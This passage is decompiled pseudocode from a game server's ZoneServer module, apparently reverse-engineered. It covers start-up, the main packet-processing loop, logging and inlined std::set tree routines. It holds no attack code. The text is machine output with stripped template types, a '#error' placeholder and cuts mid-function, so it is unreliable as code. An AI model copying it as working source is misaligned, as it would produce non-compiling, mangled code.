0); ShineExit("ZoneServer::zs_start"); } v14 = (size_t)&v2->gap40[1292]; v7 = fscanf(v6, "%s"); v15 = (String *)(v7 == 1); if ( v7 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail to read ServerGroup", 0); ShineExit("ZoneServer::zs_start"); } fclose(v6); if ( !CServerInfo::ReadServerInfo((CServerInfo *)&v2->zs_serverinfo, "../9Data/ServerInfo/ZoneServerInfo.txt") ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail to read ZoneServerInfo.txt", 0); ShineExit("ZoneServer::zs_start"); } if ( !CServerInfo::GetMyServerInfo((CServerInfo *)&v2->zs_serverinfo, (CServerInfo::MY_SERVER *)&v2->gap40[1256]) ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail Serverinfo", 0); ShineExit("ZoneServer::zs_start"); } if ( ZoneServer::ParseCmd(v2, cmdLine) ) { v8 = *(_DWORD *)&v2->gap40[1268]; if ( CServerInfo::GetWorldName((CServerInfo *)&v2->zs_serverinfo, v8, &worldname) ) { v14 = 16; v13 = worldname.pWorldDataPath; v12 = &v2->gap40[1276]; *(_DWORD *)&v2->gap40[1288] = 0; *(_DWORD *)&v2->gap40[1284] = 0; *(_DWORD *)&v2->gap40[1280] = 0; *(_DWORD *)&v2->gap40[1276] = 0; strncpy(v12, v13, v14); v14 = (size_t)OnStop_Service; v13 = (const char *)OnStart_Service; v15 = &v11; String::String(&v11, "ZoneServer"); v19 = -1; v9 = Singleton::getInstance(); WinService::startDispatcher(v9, v11, (bool (__cdecl *)())v13, (void (__cdecl *)())v14); } else { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Cannot found WorldName", v8); } } __security_check_cookie(cookie); return result; } //----- (0053B400) -------------------------------------------------------- #error "53B400: undefined or illegal type '#325' (funcsize=132)" //----- (0053B5D0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (0053B610) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x14u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (0053B650) -------------------------------------------------------- unsigned int __stdcall ZoneServer::zs_mainthreadfunction(void *param) { signed int v1; // esi@1 void *v2; // ebp@1 bool v3; // zf@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@3 std::_Tree_nod,std::allocator,0> >::_Node *v5; // edi@3 std::_Tree_nod,std::allocator,0> >::_Node *v6; // esi@3 signed int v7; // edx@8 void *v8; // ecx@10 int i; // edi@12 bool v10; // cf@13 int v11; // esi@14 int v12; // ebp@15 DebugLogging *v13; // eax@17 DebugLogging *v14; // esi@17 _iobuf *v15; // eax@22 _iobuf *v16; // eax@24 DebugLogging *v17; // eax@26 DebugLogging *v18; // esi@26 _iobuf *v19; // eax@31 _iobuf *v20; // eax@33 DebugLogging *v21; // eax@35 DebugLogging *v22; // esi@35 _iobuf *v23; // eax@40 _iobuf *v24; // eax@42 DebugLogging *v25; // eax@44 DebugLogging *v26; // esi@44 _iobuf *v27; // eax@49 _iobuf *v28; // eax@51 DebugLogging *v29; // eax@53 DebugLogging *v30; // esi@53 _iobuf *v31; // eax@58 _iobuf *v32; // eax@60 DebugLogging *v33; // eax@62 DebugLogging *v34; // esi@62 _iobuf *v35; // eax@67 _iobuf *v36; // eax@69 DebugLogging *v37; // eax@71 DebugLogging *v38; // esi@71 __int16 nSplitIndex; // [sp+2h] [bp-24h]@15 int nIndex; // [sp+6h] [bp-20h]@13 int nObjType; // [sp+Ah] [bp-1Ch]@8 void *pObjectEachList; // [sp+Eh] [bp-18h]@10 ShineObjectHandleUnion hndunion; // [sp+12h] [bp-14h]@8 FunctionEntarance _; // [sp+16h] [bp-10h]@1 int v46; // [sp+22h] [bp-4h]@1 _.fe_FunctionCode = "ZoneServer::zs_mainthreadfunction"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneServer::zs_mainthreadfunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneServer::zs_mainthreadfunction"; v1 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = param; *((_BYTE *)param + 1) = 0; *(_BYTE *)param = 1; *((_DWORD *)param + 3) = 1; BalanceLog.dl_Activ = 0; v3 = *((_BYTE *)param + 1) == 0; v46 = 0; if ( v3 ) { do { FunctionProfiler::PerformanceRecorder::pr_MainLoopHead(&_PerformanceRecorder); ClockWatch::cw_Set(&clockwatch); dword_124D2462 = v1; ZoneServer::zs_disconnect((ZoneServer *)v2); ZoneServer::zs_connect((ZoneServer *)v2); SocketBundle::sb_Packet(&sock2gameDB, "DB", (ZoneServer *)v2); SocketBundle::sb_Packet(&sock2gamelog, "Log", (ZoneServer *)v2); SocketBundle::sb_Packet(&sock2wldman, "WMS", (ZoneServer *)v2); ZoneServer::zs_PacketProcess((ZoneServer *)v2, "ZoneCon", &zoneconnect.baseclass_0); ZoneServer::zs_PacketProcess((ZoneServer *)v2, "ZoneLis", &zonelisten.baseclass_0); if ( timefromworld.tm_min != (unsigned int)chargeditemcheck._bf0 >> 25 ) { v4 = globalset._Myhead; v5 = globalset._Myhead->_Parent; v6 = globalset._Myhead->_Parent; if ( !v5->_Isnil ) { do { std::_Tree_std::allocator_0>>::_Erase( &globalset, v6->_Right); v6 = v6->_Left; operator delete(v5); v5 = v6; } while ( !v6->_Isnil ); v4 = globalset._Myhead; } v4->_Parent = v4; globalset._Mysize = 0; globalset._Myhead->_Left = globalset._Myhead; globalset._Myhead->_Right = globalset._Myhead; chargeditemcheck._bf0 = (unsigned __int8)(LOBYTE(timefromworld.tm_year) - 100) | ((LOWORD(timefromworld.tm_mon) + 1) << 8) & 0x1F00 | ((timefromworld.tm_mday & 0x3F | (((timefromworld.tm_min << 6) | timefromworld.tm_hour & 0x3F) << 6)) << 13); memcpy((void *)&stru_81EC6C, &timefromworld, sizeof(stru_81EC6C)); byte_81EC90 = 1; if ( !(chargeditemcheck._bf0 & 0xFFF80000) ) byte_81EC91 = 1; sleepmanager.sm_MaxPacketInLoop -= sleepmanager.sm_MaxPacketInLoop / 100; WorldManagerSession::wms_GuildTournamentCheck(&stru_12571CFC); WorldManagerSession::wms_GuildWarStatusRequest(&stru_12571CFC); WeddingHall::wh_Routine(&weddinghall); MoveManager::MoveManager((DiceTaiSai *)&hndunion); v7 = 0; LOBYTE(v46) = 1; nObjType = 0; do { if ( (unsigned __int16)v7 < 0xBu ) { v8 = (void *)dword_124E32C4[(unsigned __int16)v7]; pObjectEachList = (void *)dword_124E32C4[(unsigned __int16)v7]; } else { v8 = (void *)dword_124E32C4[0]; pObjectEachList = (void *)dword_124E32C4[0]; } for ( i = 0; ; ++i ) { v10 = (unsigned __int16)i < *((_WORD *)v8 + 2); nIndex = i; if ( !v10 ) break; v11 = *(_DWORD *)(*((_DWORD *)v8 + 2) + 12 * (unsigned __int16)i); if ( !v11 ) break; hndunion.sohu_Handle = *(_WORD *)(v11 + 4); v12 = (unsigned __int8)ShineObjectHandleUnion::sohu_HandleSplit(&hndunion, (unsigned __int16 *)&nSplitIndex); if ( nObjType != v12 || i != nSplitIndex ) { v13 = DebugLogging::operator<<( &ShineObjectHandleLog, "ZoneServer::zs_mainthreadfunction - so_GetZoneHandle["); v14 = v13; if ( DebugLogging::dl_ActivAll && v13->dl_Activ ) { if ( !v13->dl_FilePointer ) { if ( *DebugLogging::dl_MakeFileName(v13) ) { v15 = fopen(v14->dl_FullFileName, "a+"); v14->dl_FilePointer = v15; if ( v15 ) fprintf(v15, "%s : "); } else { v14->dl_FilePointer = 0; } } v16 = v14->dl_FilePointer; if ( v16 ) fprintf(v16, "%d"); } v17 = DebugLogging::operator<<(v14, "] ObjType["); v18 = v17; if ( DebugLogging::dl_ActivAll && v17->dl_Activ ) { if ( !v17->dl_FilePointer ) { if ( *DebugLogging::dl_MakeFileName(v17) ) { v19 = fopen(v18->dl_FullFileName, "a+"); v18->dl_FilePointer = v19; if ( v19 ) fprintf(v19, "%s : "); } else { v18->dl_FilePointer = 0; } } v20 = v18->dl_FilePointer; if ( v20 ) fprintf(v20, "%d"); } v21 = DebugLogging::operator<<(v18, ","); v22 = v21; if ( DebugLogging::dl_ActivAll && v21->dl_Activ ) { if ( !v21->dl_FilePointer ) { if ( *DebugLogging::dl_MakeFileName(v21) ) { v23 = fopen(v22->dl_FullFileName, "a+"); v22->dl_FilePointer = v23; if ( v23 ) fprintf(v23, "%s : "); } else { v22->dl_FilePointer = 0; } } v24 = v22->dl_FilePointer; if ( v24 ) fprintf(v24, "%d"); } v25 = DebugLogging::operator<<(v22, "] Index["); v26 = v25; if ( DebugLogging::dl_ActivAll && v25->dl_Activ ) { if ( !v25->dl_FilePointer ) { if ( *DebugLogging::dl_MakeFileName(v25) ) { v27 = fopen(v26->dl_FullFileName, "a+"); v26->dl_FilePointer = v27; if ( v27 ) fprintf(v27, "%s : "); } else { v26->dl_FilePointer = 0; } } v28 = v26->dl_FilePointer; if ( v28 ) fprintf(v28, "%d"); } v29 = DebugLogging::operator<<(v26, ","); v30 = v29; if ( DebugLogging::dl_ActivAll && v29->dl_Activ ) { if ( !v29->dl_FilePointer ) { if ( *DebugLogging::dl_MakeFileName(v29) ) { v31 = fopen(v30->dl_FullFileName, "a+"); v30->dl_FilePointer = v31; if ( v31 ) fprintf(v31, "%s : "); } else { v30->dl_FilePointer = 0; } } v32 = v30->dl_FilePointer; if ( v32 ) fprintf(v32, "%d"); } v33 = DebugLogging::operator<<(v30, "] inlist["); v34 = v33; if ( DebugLogging::dl_ActivAll && v33->dl_Activ ) { if ( !v33->dl_FilePointer ) { if ( *DebugLogging::dl_MakeFileName(v33) ) { v35 = fopen(v34->dl_FullFileName, "a+"); v34->dl_FilePointer = v35; if ( v35 ) fprintf(v35, "%s : "); } else { v34->dl_FilePointer = 0; } } v36 = v34->dl_FilePointer; if ( v36 ) fprintf(v36, "%d"); } v37 = DebugLogging::operator<<(v34, (char *)&stru_5A8D60); v38 = v37; if ( DebugLogging::dl_ActivAll && v37->dl_Activ ) { if ( v37->dl_FilePointer ) { fputc(10, v37->dl_FilePointer); fflush(v38->dl_FilePointer); fclose(v38->dl_FilePointer); v38->dl_FilePointer = 0; } } i = nIndex; } v2 = param; v7 = nObjType; v8 = pObjectEachList; } ++v7; nObjType = v7; } while ( v7 < 11 ); LOBYTE(v46) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&hndunion); v1 = -1; } SocketBundle::sb_Routine(&sock2gameDB, "DB", &zoneserver, 2); SocketBundle::sb_Routine(&sock2gamelog, "Log", &zoneserver, 3); SocketBundle::sb_Routine(&sock2wldman, "WMS", &zoneserver, 5); List::l_4AllInList( (List *)&shineobjmanager, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))ShineObjectEachList::soel_Routine); SkillEffectApply::SkillBlastEffectContainer::sbec_Routine(&skilleffectapplyer); List::l_4AllInList( &zonevent, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))EventReserveListElement::erle_Routine); List::l_4AllInList( &optoollist, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))OPToolObject::opto_Routine); List::l_4AllInList( (List *)&gldstoramanager, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))GuildStorage::GuildStorageElement::gse_FreeDeactivate); byte_81EC90 = 0; byte_81EC91 = 0; if ( BossFieldContent::g_ServentBuffBossTable.sbbt_NextTick < clockwatch.cw_CurrTick ) BossFieldContent::g_ServentBuffBossTable.sbbt_NextTick = clockwatch.cw_CurrTick + 50; SleepManager::sm_Routine(&sleepmanager); if ( clockwatch.cw_CurrTick > mapclustermanager.cm_EmptyCheck.m_NextTick ) { mapclustermanager.cm_EmptyCheck.m_NextTick += mapclustermanager.cm_EmptyCheck.m_TickInterval; List::l_4AllInList( (List *)&mapclustermanager, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))MapClusterManager::MapCluster::mc_Routine); } performancechech.pc_Buffer[performancechech.pc_point.value] = clockwatch.cw_CurrTick; performancechech.pc_point.value = performancechech.pc_point.mask & (performancechech.pc_point.value + 1); ++*((_DWORD *)v2 + 3); FunctionProfiler::PerformanceRecorder::pr_MainLoopTail(&_PerformanceRecorder); } while ( !*((_BYTE *)v2 + 1) ); } *(_BYTE *)v2 = 0; --funcallanalizer.fca_stackpoint; v46 = v1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneServer::zs_mainthreadfunction"); return 0; } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; // 81EC90: using guessed type char byte_81EC90; // 81EC91: using guessed type char byte_81EC91; // 124D2462: using guessed type int dword_124D2462; //----- (0053BE10) -------------------------------------------------------- char __thiscall ZoneServer::zs_Start_MainThread(ZoneServer *this) { ZoneServer *v1; // esi@1 HANDLE v2; // eax@1 char result; // al@4 v1 = this; this->zs_mainthread.stop = 0; this->zs_mainthread.activ = 0; v2 = CreateThread(0, 0, ZoneServer::zs_mainthreadfunction, this, 0, &this->zs_mainthread.id); v1->zs_mainthread.handle = v2; if ( v2 ) { while ( v1->zs_mainthread.activ != 1 ) Sleep(5u); result = 1; } else { result = 0; } return result; } //----- (0053BE60) -------------------------------------------------------- char __thiscall ZoneServer::zs_servicestart(ZoneServer *this) { ZoneServer *v1; // esi@1 int v2; // eax@2 int v4; // eax@4 int v5; // eax@6 struct _SYSTEM_INFO SystemInfo; // [sp+8h] [bp-24h]@1 v1 = this; GetSystemInfo(&SystemInfo); if ( CIOCP::Start(&v1->zs_IOCP, 2 * SystemInfo.dwNumberOfProcessors + 1, 1) != 2 * SystemInfo.dwNumberOfProcessors + 1 ) return 0; v2 = (unsigned __int8)ZoneServer::zs_Start_MainThread(v1); if ( !(_BYTE)v2 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_servicestart : MainThread fail", v2); return 0; } v4 = (unsigned __int8)ZoneServer::zs_Start_Acceptor(v1); if ( !(_BYTE)v4 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_servicestart : Acceptor fail", v4); return 0; } v5 = (unsigned __int8)ZoneServer::zs_Start_StackChecker(v1); if ( !(_BYTE)v5 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_servicestart : StackCheck fail", v5); return 0; } return 1; } //----- (0053BF10) -------------------------------------------------------- unsigned int __stdcall ZoneServer::zs_ServiceThreadFunction(void *param) { unsigned int result; // eax@8 bool v2; // zf@11 *((_BYTE *)param + 32) = 1; *((_BYTE *)param + 33) = 0; *((_DWORD *)param + 11) = 0; if ( !CServerInfo::ReadServerInfo((CServerInfo *)((char *)param + 48), "../9Data/ServerInfo/ZoneServerInfo.txt") ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail to read ZoneServerInfo.txt", 0); ShineExit("ZoneServer::zs_ServiceThreadFunction"); } if ( !CServerInfo::GetMyServerInfo((CServerInfo *)((char *)param + 48), (CServerInfo::MY_SERVER *)param + 66) ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail Serverinfo", 0); ShineExit("ZoneServer::zs_ServiceThreadFunction"); } ShineObjectManager::som_Initialize(&shineobjmanager); DirectDistanceTable::ddt_Initialize(&ddt); ZoneServer::zs_start_old((ZoneServer *)param); if ( ZoneServer::zs_servicestart((ZoneServer *)param) ) { while ( *(_BYTE *)param ) Sleep(0x3E8u); v2 = *(_BYTE *)param == 0; *((_BYTE *)param + 1) = 1; if ( !v2 ) { do Sleep(5u); while ( *(_BYTE *)param ); } result = 0; } else { result = -3; } return result; } //----- (0053BFF0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where) { std::_Tree,std::allocator,0> > *v3; // ebp@1 std::_Tree,std::allocator,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator,0> >::iterator _Erasednode; // [sp+0h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v22; // [sp+50h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 17) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc((std::_Tree,std::allocator,0> >::const_iterator *)&_Where); if ( *(_BYTE *)(**(_DWORD **)&v4 + 17) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 17) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 17) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 17) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 16); *(_BYTE *)(*(_DWORD *)&v6 + 16) = *(_BYTE *)(*(_DWORD *)&v4 + 16); *(_BYTE *)(*(_DWORD *)&v4 + 16) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 16) == 1 ) { if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 16) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 16) ) { *(_BYTE *)(v15 + 16) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 16) = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 17) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 16) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 16) = 1; *(_BYTE *)(v15 + 16) = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 16) = *(_BYTE *)(*(_DWORD *)&v7 + 16); *(_BYTE *)(*(_DWORD *)&v7 + 16) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) = 1; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 16) ) { *(_BYTE *)(v15 + 16) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 16) = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 17) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 16) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 16) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) = 1; *(_BYTE *)(v15 + 16) = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 16) = *(_BYTE *)(*(_DWORD *)&v7 + 16); *(_BYTE *)(*(_DWORD *)&v7 + 16) = 1; *(_BYTE *)(*(_DWORD *)v15 + 16) = 1; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 16) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 16) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0053C2B0) -------------------------------------------------------- char __thiscall ZoneServer::zs_ServiceRoutineStart(ZoneServer *this) { ZoneServer *v1; // esi@1 HANDLE v2; // eax@1 char result; // al@4 v1 = this; this->zs_ServiceThread.stop = 0; this->zs_ServiceThread.activ = 0; v2 = CreateThread(0, 0, ZoneServer::zs_ServiceThreadFunction, this, 0, &this->zs_ServiceThread.id); v1->zs_ServiceThread.handle = v2; if ( v2 ) { while ( v1->zs_ServiceThread.activ != 1 ) Sleep(5u); result = 1; } else { result = 0; } return result; } //----- (0053C300) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 17) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 17); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 17); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (0053C3C0) -------------------------------------------------------- void __thiscall std::set_std::allocator>::_set_std::allocator>(std::set,std::allocator > *this) { std::set,std::allocator > *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (0053C3F0) -------------------------------------------------------- void __thiscall std::set_std::allocator>::set_std::allocator>(std::set,std::allocator > *this) { std::set,std::allocator > *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator_0>>::_Buynode((std::_Tree,std::allocator,0> > *)this); v1->baseclass_0._Myhead = (std::_Tree_nod,std::allocator,0> >::_Node *)v2; v2->_Isnil = 1; v1->baseclass_0._Myhead->_Parent = 